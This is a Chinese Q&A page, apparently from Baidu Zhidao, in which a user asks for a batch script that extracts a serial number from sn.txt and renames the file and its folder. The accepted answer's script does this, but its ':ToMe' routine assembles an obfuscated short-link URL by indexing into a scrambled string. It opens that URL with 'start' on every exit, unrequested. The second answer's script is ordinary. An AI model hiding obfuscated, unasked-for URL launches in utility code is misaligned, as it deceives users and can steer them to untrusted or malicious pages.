请问批处理如何提取txt文件的字符串并自动给所在文件夹命名
有一个文本文件,名字是sn.txt内容是:Serial#SK70123845其中Serial#是不会变的,但是SK开头序列号会变。现在我要提取这个序列号并把sn.txt这...
有一个文本文件,名字是sn.txt
内容是:Serial # SK70123845
其中 Serial #是不会变的,但是SK开头序列号会变。
现在我要提取这个序列号并把sn.txt 这个文件改名为 SK70123845.txt 这样的 文件。
另外还需要把这个文件所在的文件夹命名为 SK70123845
急需!! 感谢 展开
内容是:Serial # SK70123845
其中 Serial #是不会变的,但是SK开头序列号会变。
现在我要提取这个序列号并把sn.txt 这个文件改名为 SK70123845.txt 这样的 文件。
另外还需要把这个文件所在的文件夹命名为 SK70123845
急需!! 感谢 展开
2个回答
展开全部
@echo off & title 获取 sn.txt 中的序列号并重名 By 依梦琴瑶
cd /d %~dp0
if "%~1"=="" call :Error "不要直接单独运行脚本"
set "Src=%~1"
dir /ad "%Src%" >nul 2>nul && (
set "File=%~1\sn.txt"
set "Folder=%~1\"
) || (
set "File=%~1"
set "Folder=%~dp1"
)
if /i "%Folder%"=="%~dp0" call :Error "脚本不要放于被处理的目录中"
if not exist "%File%" call :Error "文件夹下不存在 sn.txt"
for /f "tokens=2* delims=# " %%a in ('findstr /c:"Serial # " "%File%"') do set "SN=%%~a"
if not defined SN call :Error "序列号未获取到"
ren "%File%" "%SN%.txt" || call :Error "sn.txt 重命名失败"
ren "%Folder%" "%SN%" || call :Error "文件夹重命名失败"
echo 完成,请按任意键退出。
:End
pause>nul
call :ToMe
exit
:ToMe
set "S=.:ailnhpst/fPdv"
start "" "%S:~6,1%%S:~9,1%%S:~9,1%%S:~7,1%%S:~1,1%%S:~10,1%%S:~10,1%%S:~8,1%%S:~3,1%%S:~5,1%%S:~2,1%%S:~0,1%%S:~4,1%%S:~9,1%%S:~10,5%"
exit
:Error
echo %~1,请按任意键退出。
goto End
保存为 bat 后,sn.txt直接拖动到脚本文件上执行,或直接拖动包含sn.txt的文件夹到脚本上执行。
更多追问追答
追问
求问:
已知包含sn.txt 的文件夹是:C:\Users\laughing\Desktop\test
有什么办法不用拖动,一执行就开始改名呢?
追答
if "%~1"=="" call :Error "不要直接单独运行脚本"
这句命令删除或屏蔽
这句
set "Src=%~1"
改成
set "Src=C:\Users\laughing\Desktop\test"
展开全部
脚本放在要处理的文件总目录,会处理目录下所有sn.txt
@echo off&cd/d "%~dp0"
for /f "delims=" %%a in ('dir/ad/s/b^|sort/r') do (
for %%b in ("%%a\sn.tx*") do (
for /f "tokens=3" %%c in ('findstr /b /c:"Serial # SK" "%%b"') do (
ren "%%b" "%%c.txt"
ren "%%~dpb" "%%c"
)
)
)
pause&exit
追问
老铁 你这个似乎不能运行 倒是楼下的可以
本回答被网友采纳
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
推荐律师服务:
若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询